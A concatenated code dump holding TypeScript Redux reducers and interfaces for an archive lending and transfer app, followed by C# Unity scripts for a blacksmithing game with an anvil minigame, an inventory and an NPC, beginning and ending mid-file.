};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/components/lending/components/lending/ILendingProps.ts
export interface ILendingState {
modalVisible?:boolean;
}
export interface ILendingProps extends ILendingState {
}
<file_sep>/src/interface/trasnfer/archivist/archivistResult.ts
export class ColumnRecordArchivist {
public key: number;
public count?:string;
public nroExpediente?:string;
public name?:string;
public serie?:string;
public subserie?:string;
public endDate?:string;
public initialDate?:string;
public nombreUsuario?:string;
public nombreSeccion?:string;
}<file_sep>/src/redux/actions/general/textField/_actionName.ts
export const changeTextField:string = "changeTextField";
export const createTextField:string = "createTextField";<file_sep>/src/redux/actions/general/textField/changeTextField.ts
import { changeTextField as type } from "./_actionName";
import { IAction } from "../../../namespace";
const changeTextField = (payload:string):IAction => {
return {
type,
payload
};
};
export default changeTextField;<file_sep>/src/redux/reducers/general/dialog/IDialogProps.ts
import { IDialogProps as IDialogPropsFabric } from "office-ui-fabric-react";
export interface IDialogProps extends IDialogPropsFabric {
/**
* Si el dialogo esta oculto
*/
hideDialog: boolean;
/**
* Almacena el contenido del body para el dialogo
*/
body: any;
/**
* Almacena el contenido del footer para el dialogo
*/
footer: any;
}<file_sep>/src/interface/trasnfer/transferResult.ts
import { IOIPResult } from "../IOIPResult";
import { RecordState } from "../../enum/RecordState";
import IRecord from "../model/record";
/**
* Interfaces para el proceso de transferencias.
*/
export interface TransferFilter {
idUsuario?:number;
userName?:string;
state:RecordState[];
description?:string;
record?:IRecord[];
}
export interface TransferDTO extends IRecord {
name: string;
retentionTime: number;
dateOut: string;
dateIn: string;
code: string;
state: number;
quantity: number;
idSerie: number;
nombreSerie: string;
nombreSubserie: string;
nombreUsuario: string;
nombreSeccion: string;
}
export interface TransferResult extends IOIPResult {
result?: TransferFilter;
}
export interface TransferResultDTO extends IOIPResult {
result?: TransferDTO[];
}<file_sep>/src/redux/actions/general/datePicker/changeValue.ts
import { changeValue as type } from "./_actionName";
import { IAction } from "../../../namespace";
const changeValue = (payload:any):IAction => {
return {
type,
payload
};
};
export default changeValue;<file_sep>/src/components/lending/components/report/IReport.ts
export interface IReportState {
resultVisible?:boolean;
modalVisible?:boolean;
}
export interface IReportProps extends IReportState {
}<file_sep>/src/redux/actions/general/tooltip/_actionName.ts
export const createTooltip:string = "createTooltip";<file_sep>/src/general/checkbox/ICheckboxGeneralProps.ts
import { ICheckboxProps } from "../../redux/reducers/general/checkbox/ICheckboxProps";
export interface ICheckboxGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Checkbox
*/
checkbox?:ICheckboxProps;
}<file_sep>/src/redux/reducers/general/overlay/IOverlay.ts
import { IOverlayProps as overlayFabric } from "office-ui-fabric-react";
export interface IOverlayProps extends overlayFabric {
content?:string | object;
}<file_sep>/src/redux/reducers/general/textField/textField.ts
import { createTextField, changeTextField } from "../../../actions/general/textField/_actionName";
import { IAction } from "../../../namespace";
import { ITextFieldProps } from "./ITextFieldProps";
const defaultState:ITextFieldProps = {
label: undefined,
multiline: undefined,
rows: undefined,
disabled: undefined,
defaultValue: undefined,
value: undefined,
onChange: undefined
};
function reducer(state = defaultState, { type, payload }:IAction) : ITextFieldProps {
switch(type) {
case createTextField: {
return {
...state,
...payload
};
}
case changeTextField: {
return {
...state,
value: payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/components/main/IMain.ts
export interface IMainState {
key?: string;
title?: string;
menu?: string;
}
export interface IMainProps extends IMainState {
onClickMenu?: any;
getComponent?: any;
}<file_sep>/src/general/button/IButtonGeneralProps.ts
import { IButtonProps } from "../../redux/reducers/general/button/IButtonProps";
export interface IButtonGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Button
*/
button?:IButtonProps;
}<file_sep>/src/redux/reducers/general/tooltip/ITooltip.ts
import { ITooltipHostProps } from "office-ui-fabric-react";
export interface ITooltipProps extends ITooltipHostProps {
body:string | object;
}<file_sep>/src/redux/actions/general/spinner/_actionName.ts
export const createSpinner:string = "createSpinner";<file_sep>/src/general/commandBar/ICommandBarGeneralProps.ts
import { ICommandBarProps } from "../../redux/reducers/general/commandBar/ICommandBarProps";
export interface ICommandBarGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente CommandBar
*/
commandBar?:ICommandBarProps;
}<file_sep>/src/redux/actions/general/overlay/_actionName.ts
export const createOverlay:string = "createOverlay";
export const hideOverlay:string = "hideOverlay";<file_sep>/src/redux/reducers/general/dropdown/dropdown.ts
import { createDropdown, loadOptions } from "../../../actions/general/dropdown/_actionName";
import { IAction } from "../../../namespace";
import { IDropdownProps } from "./IDropdownProps";
const defaultState:IDropdownProps = {
options:[],
placeHolder : "",
label: undefined,
onChange: (e) => {
}
};
function reducer(state = defaultState, { type, payload }:IAction) : IDropdownProps {
switch(type) {
case createDropdown: {
return {
...state,
...payload
};
}
case loadOptions: {
return {
...state,
options : payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/general/datePicker/IDatePickerGeneralProps.ts
import { IDatePickerProps } from "../../redux/reducers/general/datePicker/IDatePickerProps";
export interface IDatePickerGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente DatePicker
*/
datePicker?:IDatePickerProps;
}<file_sep>/src/redux/reducers/general/spinner/ISpinner.ts
import { ISpinnerProps as SpinnerFabric } from "office-ui-fabric-react";
export interface ISpinnerProps extends SpinnerFabric {
}<file_sep>/src/redux/reducers/general/datePicker/datePicker.ts
import { createDatePicker, changeValue } from "../../../actions/general/datePicker/_actionName";
import { IAction } from "../../../namespace";
import { IDatePickerProps, languageEs } from "./IDatePickerProps";
import { DayOfWeek } from "office-ui-fabric-react";
const defaultState: IDatePickerProps = {
firstDayOfWeek : DayOfWeek.Monday,
strings : languageEs,
placeholder: languageEs.placeholder,
onSelectDate: () => {},
label: "",
formatDate:undefined,
value: undefined
};
function reducer(state = defaultState, { type, payload }: IAction): IDatePickerProps {
switch (type) {
case createDatePicker: {
return {
...state,
...payload
};
}
case changeValue: {
return {
...state,
value: payload
};
}
default:
return state;
}
}
export default reducer;
<file_sep>/src/redux/reducers/general/choiceGroup/IChoiceGroupProps.ts
import { IChoiceGroupProps as IChoiceGroupPropsFabric } from "office-ui-fabric-react";
export interface IChoiceGroupProps extends IChoiceGroupPropsFabric {
optionSelected?: number | string;
}<file_sep>/src/redux/actions/general/datePicker/_actionName.ts
export const createDatePicker:string = "createDatePicker";
export const changeValue:string = "changeValue";<file_sep>/src/components/lending/components/receivedRequest/IReceivedRequestProps.ts
export interface IReceivedRequestState {
modalVisible?:boolean;
}
export interface IReceivedRequestProps extends IReceivedRequestState {
}<file_sep>/src/redux/reducers/general/commandBar/ICommandBarProps.ts
import { ICommandBarProps as ICommandBarPropsFabric } from "office-ui-fabric-react";
export interface ICommandBarProps extends ICommandBarPropsFabric {
}<file_sep>/src/redux/actions/general/button/_actionName.ts
export const createButton:string = "createButton";
export const hideButton:string = "hideButton";
export const changeText:string = "changeText";<file_sep>/src/interface/lending/lendingResult.ts
import { IOIPResult } from "../IOIPResult";
import { EnumEstadoPrestamoReporte } from "../../enum/lending/lendingEnum";
/**
* Interfaces para el proceso de prestamos.
*/
export interface LendingFilter {
userName?:string;
idSerie?:number | string;
idSubserie?:number | string;
idSeccion?:number | string;
idSubseccion?:number | string;
idExpediente?:number | string;
estado?: EnumEstadoPrestamoReporte[];
fechaInicial?: Date;
fechaFinal?: Date;
serie?: any[];
subserie?: any[];
section?: any[];
subsection?: any[];
}
export interface LendingDTO {
idPrestamoDocumental?: number;
idExpediente?: number;
nroExpediente?: string;
nroRadicado?: string;
nombre_expediente?: string;
nombre_seccion?: string;
nombre_subseccion?: string;
nombre_serie?: string;
nombre_subserie?: string;
userName?: string;
userRequest?: string;
fecha_solicitud?: string;
fecha_solicitud_anterior?: string;
fecha_devolucion?: string;
fecha_entrega?: string;
estado?:string;
idEstado?:number | string;
observacion?: string;
tipo?:string;
}
export interface LendingResult extends IOIPResult {
result?: LendingFilter;
}
export interface LendingResultDTO extends IOIPResult {
result?: LendingDTO[];
}<file_sep>/src/common/enum/mainEnum.ts
export enum EnumModules {
Owner = "owner",
PendingArchivist = "pendingArchivist",
ApprovedArchivist = "approvedArchivist",
RejectedArchivist = "rejectedArchivist",
SearchLending = "searchLending",
RequestLending = "requestLending",
ReceivedLending = "receivedLending",
PaybackLending = "paybackLending",
LendLending = "lendLending",
ReportLending = "reportLending"
}<file_sep>/src/components/lending/components/payback/IPaybackProps.ts
export interface IPaybackState {
}
export interface IPaybackProps extends IPaybackState {
}<file_sep>/src/components/transfer/components/archivist/main/IArchivistMain.ts
export interface IArchivistMainState {
key?:string;
title?:string;
}
export interface IArchivistMainProps extends IArchivistMainState {
}<file_sep>/src/redux/reducers/general/modal/IModalProps.ts
import { IModalProps as IModalPropsFabric } from "office-ui-fabric-react";
export interface IModalProps extends IModalPropsFabric {
content? : any;
header? :any;
}<file_sep>/src/redux/reducers/general/checkbox/ICheckboxProps.ts
import { ICheckboxProps as ICheckboxPropsFabric } from "office-ui-fabric-react";
export interface ICheckboxProps extends ICheckboxPropsFabric {
}<file_sep>/src/general/choiceGroup/IChoiceGroupProps.ts
import { IChoiceGroupProps } from "../../redux/reducers/general/choiceGroup/IChoiceGroupProps";
export interface IChoiceGroupGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Button
*/
choiceGroup?:IChoiceGroupProps;
}<file_sep>/src/redux/reducers/general/button/button.ts
import { createButton, hideButton, changeText } from "../../../actions/general/button/_actionName";
import { IAction } from "../../../namespace";
import { IButtonProps, ButtonStyle } from "./IButtonProps";
const defaultState:IButtonProps = {
text:"",
split:false,
splitButtonAriaLabel: "",
menuProps: undefined,
onClick: undefined,
disabled: undefined,
checked: false,
hidden: false,
buttonStyle: ButtonStyle.DefaultButton
};
function reducer(state = defaultState, { type, payload }:IAction) : IButtonProps {
switch(type) {
case createButton: {
return {
...state,
...payload
};
}
case hideButton: {
return {
...state,
hidden : payload
};
}
case changeText: {
return {
...state,
text : payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/components/transfer/components/archivist/rejected/IRejectedProps.ts
export interface IRejectedState {
}
export interface IRejectedProps extends IRejectedState {
}
<file_sep>/src/general/spinner/ISpinnerGeneral.ts
import { ISpinnerProps } from "../../redux/reducers/general/spinner/ISpinner";
export interface ISpinnerGeneralState {
/**
* Propiedades del componente Spinner
*/
spinner?:ISpinnerProps;
}
export interface ISpinnerGeneralProps extends ISpinnerGeneralState {
}<file_sep>/src/general/tooltip/ITooltipGeneral.ts
import { ITooltipProps } from "../../redux/reducers/general/tooltip/ITooltip";
export interface ITooltipGeneralState {
/**
* Propiedades del componente Tooltip
*/
tooltip?:ITooltipProps;
}
export interface ITooltipGeneralProps extends ITooltipGeneralState {
}<file_sep>/src/components/lending/components/sendedRequest/ISendedRequestProps.ts
export interface ISendedRequestState {
modalVisible?: boolean;
}
export interface ISendedRequestProps extends ISendedRequestState {
}
<file_sep>/src/redux/actions/general/checkbox/_actionName.ts
export const createCheckbox:string = "createCheckbox";
export const changeLabel:string = "changeLabel";
export const changeChecked:string = "changeChecked";<file_sep>/src/interface/IOIPResult.ts
/**
* Interfaz generica para el los objetos result.
*/
export interface IOIPResult {
success:boolean;
message?:string;
}<file_sep>/src/common/classes/style.ts
import { getTheme, mergeStyleSets, FontWeights} from 'office-ui-fabric-react';
import { FontSizes } from '@uifabric/styling';
const theme = getTheme();
export const contentStyles = mergeStyleSets({
container: {
display: 'flex',
flexFlow: 'column nowrap',
alignItems: 'stretch'
},
header: [
theme.fonts.xLargePlus,
{
flex: '1 1 auto',
borderTop: `4px solid ${theme.palette.themePrimary}`,
color: theme.palette.neutralPrimary,
display: 'flex',
fontSize: FontSizes.xLarge,
alignItems: 'center',
fontWeight: FontWeights.semibold,
padding: '12px 12px 14px 24px'
}
]});
export const iconButtonStyles = mergeStyleSets({
root: {
color: theme.palette.neutralPrimary,
marginLeft: 'auto',
marginTop: '4px',
marginRight: '2px'
},
rootHovered: {
color: theme.palette.neutralDark
}
});
<file_sep>/src/redux/reducers/general/messageBar/IMessageBarProps.ts
import { IMessageBarProps as IMessageBarPropsFabric } from "office-ui-fabric-react";
export interface IMessageBarProps extends IMessageBarPropsFabric {
/**
* Almacena el cotenido del messageBar
*/
value: any;
/**
* Si el dialogo esta oculto
*/
hideMessage: boolean;
}<file_sep>/src/general/dropdown/IDropdownGeneralProps.ts
import { IDropdownProps } from "../../redux/reducers/general/dropdown/IDropdownProps";
export interface IDropdownGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Button
*/
dropdown?:IDropdownProps;
}<file_sep>/src/redux/actions/general/detailList/createDetailList.ts
import { createDetailList as type } from "./_actionName";
import { IAction } from "../../../namespace";
const createDetailList = (payload:object):IAction => {
return {
type,
payload
};
};
export default createDetailList;<file_sep>/src/redux/actions/general/detailList/_actionName.ts
export const createDetailList:string = "createDetailList";
export const loadDetailList:string = "loadDetailList";
export const selectRowItem:string = "selectRowItem";<file_sep>/src/general/textField/ITextFieldGeneralProps.ts
import { ITextFieldProps } from "../../redux/reducers/general/textField/ITextFieldProps";
export interface ITextFieldGeneralProps {
/**
* Nombre del namespace, con la refencia a la instancia en el store
*/
namespace?:string;
/**
* Propiedades del componente Textfield
*/
textField?:ITextFieldProps;
/**
* Valor asignable del TextField
*/
value?:string;
}<file_sep>/src/redux/reducers/general/detailList/detailList.ts
import { CheckboxVisibility } from "office-ui-fabric-react";
import { createDetailList, loadDetailList, selectRowItem } from "../../../actions/general/detailList/_actionName";
import { IDetailListProps } from "./IDetailListProps";
import { IAction } from "../../../namespace";
const defaultState:IDetailListProps = {
items: [],
columns: [],
groups : undefined,
groupProps : undefined,
checkboxVisibility : CheckboxVisibility.onHover,
enableShimmer:true,
selectedItems: [],
selectionMode: undefined,
selection: undefined
};
function reducer(state = defaultState, { type, payload }:IAction):IDetailListProps {
switch(type) {
case createDetailList: {
return {
...state,
...payload
};
}
case loadDetailList: {
return {
...state,
items : payload,
enableShimmer: false
};
}
case selectRowItem: {
return {
...state,
selectedItems : payload
};
}
default:
return state;
}
}
export default reducer;<file_sep>/src/redux/reducers/general/commandBar/commadBar.ts
import { createCommandBar } from "../../../actions/general/commandBar/_actionName";
import { ICommandBarProps } from "./ICommandBarProps";
import { IAction } from "../../../namespace";
const defaultState:ICommandBarProps = {
items: [],
farItems:[]
};
function reducer(state = defaultState, { type, payload }:IAction):ICommandBarProps {
switch(type) {
case createCommandBar: {
return {
...state,
...payload
};
}
default:
return state;
}
}
export default reducer;
|
a96fe3cb589229e333ce71fc806021ea03db761c
|
[
"TypeScript"
] | 88
|
TypeScript
|
rangoPipe/webPart
|
d4dd9947555683f9a63c715a5c71d9050ce1a1d1
|
db327e73160f996a0f50809f4ef6aa9c216b4d38
|
refs/heads/master
|
<repo_name>Turmolt/Project-V<file_sep>/Assets/_Project/Scripts/Work Stations/Quench.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace BackwardsCap
{
public class Quench : WorkStation
{
public Inventory Inventory;
public ParticleSystem ParticleSystem;
public AudioClip QuenchSound;
public SoundManager SoundManager;
public override void LoadItem(Item item)
{
if (item.ItemState == Item.State.Heated || item.ItemState == Item.State.Hammered)
{
SoundManager.ClipArrayVariation(QuenchSound);
ParticleSystem.Play();
item.SetFinished();
}
item.GetComponent<SpriteRenderer>().color = Color.white;
Inventory.UpdateInventoryOrder();
Inventory.PickupItem(item);
}
}
}
<file_sep>/Assets/_Project/Scripts/InventorySlot.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.EventSystems;
using UnityEngine.UI;
namespace BackwardsCap
{
public class InventorySlot : MonoBehaviour , IPointerDownHandler
{
public Image Display;
public Item Holding;
private Inventory inventory;
private Sprite blankSlotSprite;
public QualityBar qualityBar;
public void Start()
{
blankSlotSprite = Display.sprite;
qualityBar.gameObject.SetActive(false);
}
public void Initialize(Inventory parent)
{
inventory = parent;
}
public bool PickUp(Item item)
{
if (Holding != null) return false;
Display.sprite = item.Image;
Display.color = item.GetComponent<SpriteRenderer>().color;
Holding = item;
qualityBar.Quality = item.Quality;
qualityBar.FinishedMark.enabled = item.ItemState == Item.State.Finished;
qualityBar.gameObject.SetActive(true);
return true;
}
public Item PopItem()
{
var item = Holding;
Holding = null;
qualityBar.gameObject.SetActive(false);
Display.color = Color.white;
Display.sprite = blankSlotSprite;
qualityBar.FinishedMark.enabled = false;
return item;
}
public void OnPointerDown(PointerEventData eventData)
{
if (Holding != null)
{
// Debug.Log($"[InventorySlot {inventoryId}]: Item Drag Start");
inventory.ItemRemoved(PopItem(), this);
}
}
}
}<file_sep>/Assets/_Project/Scripts/Work Stations/Anvil.cs
using System.Collections;
using System.Collections.Generic;
using DG.Tweening;
using UnityEngine;
using UnityEngine.UI;
namespace BackwardsCap
{
public class Anvil : WorkStation
{
public Slider GameSlider;
public AnvilScoreDisplay ScoreDisplay;
public CanvasGroup DisplayCG;
private float speed = 1.5f;
private float highScore = .05f;
private float highQualityPlus = 1f;
private float midScore = .15f;
private float midQualityPlus = .5f;
private float cursor = 0f;
public AudioClip AnvilSound;
public SoundManager SoundManager;
void Start()
{
ScoreDisplay.SetRange(highScore,midScore);
DisplayCG.alpha = 0f;
}
public override void LoadItem(Item item)
{
base.LoadItem(item);
if(InMachine.ItemState == Item.State.Heated) DisplayCG.DOFade(1f, 0.25f);
}
public override Item PopItem()
{
DisplayCG.DOFade(0f, 0.25f);
return base.PopItem();
}
void Update()
{
if (InMachine != null && InMachine.SwingsLeft > 0 && InMachine.ItemState==Item.State.Heated)
{
UpdateGame();
}
}
public void Hammer()
{
if (InMachine.SwingsLeft > 0)
{
InMachine.SwingsLeft--;
SoundManager.ClipArrayVariation(AnvilSound);
var c = Mathf.Abs(cursor - .5f);
if (c <= highScore)
{
Debug.Log($"[Anvil]: +{highQualityPlus}");
InMachine.SetQuality(InMachine.Quality + highQualityPlus);
}
else if (c <= midScore)
{
InMachine.SetQuality(InMachine.Quality+midQualityPlus);
Debug.Log($"[Anvil]: +{midQualityPlus}");
}
else Debug.Log($"[Anvil]: Missed!");
if (InMachine.SwingsLeft == 0)
{
DisplayCG.DOFade(0f, .5f);
InMachine.ItemState = Item.State.Hammered;
}
}
}
void UpdateGame()
{
cursor = (1.0f + Mathf.Cos(Time.time * speed)) / 2f;
GameSlider.normalizedValue = cursor;
}
}
}
<file_sep>/Assets/_Project/Scripts/NPCMovement.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using DG.Tweening;
public class NPCMovement : MonoBehaviour
{
public GameObject[] Path1;
public GameObject[] Path2;
public GameObject[] Path3;
public GameObject[] Path4;
public GameObject[] Path5;
public GameObject[] Path6;
public GameObject[] Path7;
public GameObject[] Path8;
public void goHome(GameObject npc, GameObject[] path){
foreach (GameObject p in path){
//npc
}
}
public void goTable(GameObject npc, GameObject[] path){
}
}
<file_sep>/Assets/_Project/Data/Item.cs
using UnityEngine;
using UnityEngine.UI;
public class Item: MonoBehaviour {
private Sprite _image;
public Canvas QualityBarPrefab;
private QualityBar qualityBar;
public enum State { Normal, Heated, Hammered, Finished}
public int Tier;
public State ItemState= State.Normal;
public int SwingsLeft = 3;
public Sprite Image{
set{
_image = value;
SpriteRenderer rend = GetComponent<SpriteRenderer>();
if(rend.sprite == null) rend.sprite = value;
}
get{
return _image;
}
}
public ItemType Type;
public ItemMaterial Material;
public QualityBar QualityBar => qualityBar;
public int Rarity;
[HideInInspector] public float Quality;
private Image finishedCheck;
public bool IsMaterialOrAny()
{
return Type == ItemType.nil && Material != ItemMaterial.Nil ||
Type != ItemType.nil && Material == ItemMaterial.Nil||
Type == ItemType.nil && Material == ItemMaterial.Nil;
}
public void SetFinished()
{
ItemState = State.Finished;
finishedCheck.enabled = true;
}
public void SetQuality(float quality)
{
Quality = quality;
if (qualityBar != null) qualityBar.Quality = Quality;
}
public float GetQuality()
{
Debug.Log($"{Type.ToString()} {Material.ToString()}");
return Quality;
}
private void Start()
{
Canvas canvas;
if(qualityBar == null){
canvas = Instantiate(QualityBarPrefab,this.transform);
qualityBar = canvas.GetComponent<QualityBar>();
} else{
canvas = qualityBar.GetComponent<Canvas>();
}
qualityBar.Quality = Quality;
finishedCheck = qualityBar.FinishedMark;
canvas.overrideSorting = true;
canvas.sortingOrder = 100;
SpriteRenderer rend = GetComponent<SpriteRenderer>();
if(rend.sprite == null) rend.sprite = Image;
else Image = rend.sprite;
}
public Item(ItemType type, ItemMaterial material, float quality, Sprite image = null){
Type = type;
Material = material;
Quality = quality;
Image = image;
}
}
<file_sep>/Assets/_Project/Scripts/Stairway.cs
using System.Collections;
using System.Collections.Generic;
using DG.Tweening;
using UnityEngine;
namespace BackwardsCap
{
public class Stairway : MonoBehaviour
{
public Transform Destination;
public PlayerController Player;
public CanvasGroup FadeToBlack;
public AudioSource MusicSource;
public AudioClip MusicChoice;
private Manager _manager;
private void Awake() {
_manager = GameObject.FindObjectOfType<Manager>();
}
void OnTriggerEnter2D(Collider2D col)
{
if (col.CompareTag("Player"))
{
StartCoroutine(FadeAudioSource.StartFade(MusicSource, 1f, 0f));
Travel();
}
}
void Travel()
{
Player.HasControl = false;
if(Destination.name.Contains("Dungeon")){
_manager.SpawnNewItems();
}
FadeToBlack.DOFade(1f, 1f).OnComplete(() =>
{
Player.transform.position = Destination.position;
if(MusicChoice)SoundManager.instance.PlaySomething(MusicChoice);
FadeToBlack.DOFade(0f, 1f).OnComplete(() =>
{
Player.HasControl = true;
});
});
}
}
}
<file_sep>/Assets/_Project/Scripts/AnvilScoreDisplay.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
namespace BackwardsCap
{
public class AnvilScoreDisplay : MonoBehaviour
{
public Image[] HighScoreRange;
public Image[] MidScoreRange;
public void SetRange(float HighScore, float MidScore)
{
for (int i = 0; i < HighScoreRange.Length; i++)
{
HighScoreRange[i].fillAmount = .5f - HighScore;
MidScoreRange[i].fillAmount = .5f - MidScore;
}
}
}
}
<file_sep>/Assets/_Project/Scripts/Utility/Ext.cs
using UnityEngine;
public static class Ext
{
public static Vector3 xy(this Vector3 _v)
{
return new Vector3(_v.x, _v.y, 0);
}
public static Vector3 xz(this Vector3 _v)
{
return new Vector3(_v.x, 0, _v.z);
}
public static Vector3 yz(this Vector3 _v)
{
return new Vector3(0, _v.y, _v.z);
}
public static Vector3 xy(this Vector3 _v, float z)
{
return new Vector3(_v.x, _v.y, z);
}
public static Vector3 xz(this Vector3 _v, float y)
{
return new Vector3(_v.x, y, _v.z);
}
public static Vector3 yz(this Vector3 _v, float x)
{
return new Vector3(x, _v.y, _v.z);
}
public static Vector3 x(this Vector3 _v)
{
return new Vector3(_v.x, 0, 0);
}
public static Vector3 y(this Vector3 _v)
{
return new Vector3(0, _v.y, 0);
}
public static Vector3 z(this Vector3 _v)
{
return new Vector3(0f, 0, _v.z);
}
}<file_sep>/Assets/_Project/Scripts/SeekingQueueSlot.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
namespace BackwardsCap
{
public class SeekingQueueSlot : MonoBehaviour
{
public Image Display;
public Item Seeking;
public QualityBar qualityBar;
private Sprite blankSlotSprite;
public void Start()
{
blankSlotSprite = Display.sprite;
qualityBar.gameObject.SetActive(false);
}
public void LoadItem(Item item)
{
Seeking = item;
Display.sprite = item.GetComponent<SpriteRenderer>().sprite;
qualityBar.Quality = item.Quality;
qualityBar.FinishedMark.enabled = true;
qualityBar.gameObject.SetActive(true);
}
}
}
<file_sep>/Assets/_Project/Scripts/SeekingQueue.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SeekingQueue : MonoBehaviour
{
}
<file_sep>/Assets/_Project/Scripts/PlayerAnimator.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace BackwardsCap
{
public class PlayerAnimator : MonoBehaviour
{
enum AnimatorState { Left, Right, Forward, Back, Idle }
public PlayerController Player;
public Animator Animator;
private AnimatorState LastStatePressed;
void Update()
{
if (!Player.HasControl)
{
SetBools(AnimatorState.Idle);
return;
}
DetectAnimationKeys();
}
void DetectAnimationKeys()
{
if (Input.GetKeyDown(KeyCode.W))
{
LastStatePressed = AnimatorState.Back;
}
if (Input.GetKeyDown(KeyCode.S))
{
LastStatePressed = AnimatorState.Forward;
}
if (Input.GetKeyDown(KeyCode.A))
{
LastStatePressed = AnimatorState.Left;
}
if (Input.GetKeyDown(KeyCode.D))
{
LastStatePressed = AnimatorState.Right;
}
}
public void UpdatePlayerAnimator(Vector2 movement)
{
var left = movement.x < 0;
var right = movement.x > 0;
var forward = movement.y < 0;
var back = movement.y > 0;
if ((LastStatePressed == AnimatorState.Left && !left) ||
(LastStatePressed == AnimatorState.Right && !right) ||
(LastStatePressed == AnimatorState.Forward && !forward) ||
(LastStatePressed == AnimatorState.Back && !back))
{
UpdateLastState(movement);
}
if (left && LastStatePressed == AnimatorState.Left) SetBools(AnimatorState.Left);
else if (right && LastStatePressed == AnimatorState.Right) SetBools(AnimatorState.Right);
else if (forward && LastStatePressed == AnimatorState.Forward) SetBools(AnimatorState.Forward);
else if (back && LastStatePressed == AnimatorState.Back) SetBools(AnimatorState.Back);
else SetBools(AnimatorState.Idle);
}
void UpdateLastState(Vector2 movement)
{
var left = movement.x < 0;
var right = movement.x > 0;
var forward = movement.y < 0;
var back = movement.y > 0;
if (left) LastStatePressed = AnimatorState.Left;
if (right) LastStatePressed = AnimatorState.Right;
if (forward) LastStatePressed = AnimatorState.Forward;
if (back) LastStatePressed = AnimatorState.Back;
}
void SetBools(AnimatorState state)
{
Animator.SetBool("Left Walk", state == AnimatorState.Left);
Animator.SetBool("Right Walk", state == AnimatorState.Right);
Animator.SetBool("Back Walk", state == AnimatorState.Back);
Animator.SetBool("Forward Walk", state == AnimatorState.Forward);
Animator.SetBool("Idle", state == AnimatorState.Idle);
}
}
}
<file_sep>/Assets/_Project/Scripts/PlayerController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Tilemaps;
namespace BackwardsCap
{
public class PlayerController : MonoBehaviour
{
public Rigidbody2D PlayerRB;
public PlayerAnimator PlayerAnimator;
private float speed = 10f;
private Camera mainCam;
[HideInInspector] public bool HasControl = true;
public Inventory Inventory;
private Vector2 movement;
private float maxPickupDistance = 2f;
public AudioSource SoundEffectAS;
[Header("Audio Clips")]
public AudioClip ItemPickupAudio;
public AudioClip CantPickup;
public Camera MainCam;
void Update()
{
if (!HasControl)
{
PlayerRB.velocity = Vector2.zero;
return;
}
MouseHandler();
Movement();
}
void MouseHandler()
{
if (Input.GetMouseButtonDown(0))
{
var wp = MainCam.ScreenToWorldPoint(Input.mousePosition);
RaycastHit2D hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("WorkStations"));
if (hit.transform != null)
{
var workStation = hit.transform.GetComponent<WorkStation>();
if (workStation.InMachine != null)
{
Inventory.PickupItem(workStation.PopItem());
return;
}
}
hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("Items"));
if (hit.transform != null)
{
if (hit.transform.CompareTag("Item"))
{
var distance = Vector3.Distance(transform.position.xy(0), hit.transform.position.xy(0));
if (distance < maxPickupDistance)
{
var item = hit.transform.GetComponent<Item>();
if (Inventory.PickupItem(item))
{
if(ItemPickupAudio) SoundManager.instance.ClipArrayVariation(ItemPickupAudio);
}
else
{
if(CantPickup) SoundManager.instance.ClipArrayVariation(CantPickup);
}
}
else
{
if (!Inventory.HoveringOverInventory)
{
Debug.Log($"[PlayerController]: Item too far to pick up! {distance}m away");
SoundManager.instance.ClipArrayVariation(CantPickup);
}
}
}
}
}
if (Input.GetMouseButtonDown(1))
{
var wp = MainCam.ScreenToWorldPoint(Input.mousePosition);
RaycastHit2D hit = Physics2D.Raycast(wp, Vector2.zero, 100f, LayerMask.GetMask("WorkStations"));
if (hit.transform != null && hit.transform.CompareTag("Anvil"))
{
var anvil = hit.transform.GetComponent<Anvil>();
if (anvil.InMachine != null)
{
anvil.Hammer();
return;
}
}
}
}
private void Movement()
{
movement = Vector2.zero;
if (Input.GetKey(KeyCode.W))
{
movement.y += 1f;
}
if (Input.GetKey(KeyCode.S))
{
movement.y -= 1f;
}
if (Input.GetKey(KeyCode.D))
{
movement.x += 1f;
}
if (Input.GetKey(KeyCode.A))
{
movement.x -= 1f;
}
PlayerRB.velocity = movement.normalized * speed;
PlayerAnimator.UpdatePlayerAnimator(movement);
}
}
}
<file_sep>/Assets/_Project/Data/NPC.cs
using UnityEngine;
using System.Collections;
using DG.Tweening;
using UnityEngine.UI;
public class NPC: MonoBehaviour {
//NPC Wants are based on what they DON'T ALREADY HAVE.
//Randomly determine what Gear each monster already has (always missing at least 1)
//
public Sprite Image;
public Canvas RequestCanvas;
private CanvasGroup requestCG;
private GameObject requestObject;
public ItemType? TypeWanted = null;
public ItemMaterial? MaterialWanted = null;
public float? MinimumQuality = null;
public float MinimumTier;
public float Patience = 0.0f;
public float MaxPatience = 180.0f;
public Image PatienceImage;
private int[] wants = new int[3];
private Manager _manager;
public bool Satisfied = false;
public float ScoreMultiplier;
private Transform CheckMark;
private bool waiting = false;
private void Awake() {
_manager = FindObjectOfType<Manager>();
Patience = Random.Range(60,MaxPatience);
PatienceImage.fillAmount = Patience/MaxPatience;
waiting = true;
StartCoroutine(ReducePatience());
createNeed();
}
private IEnumerator ReducePatience()
{
while (true)
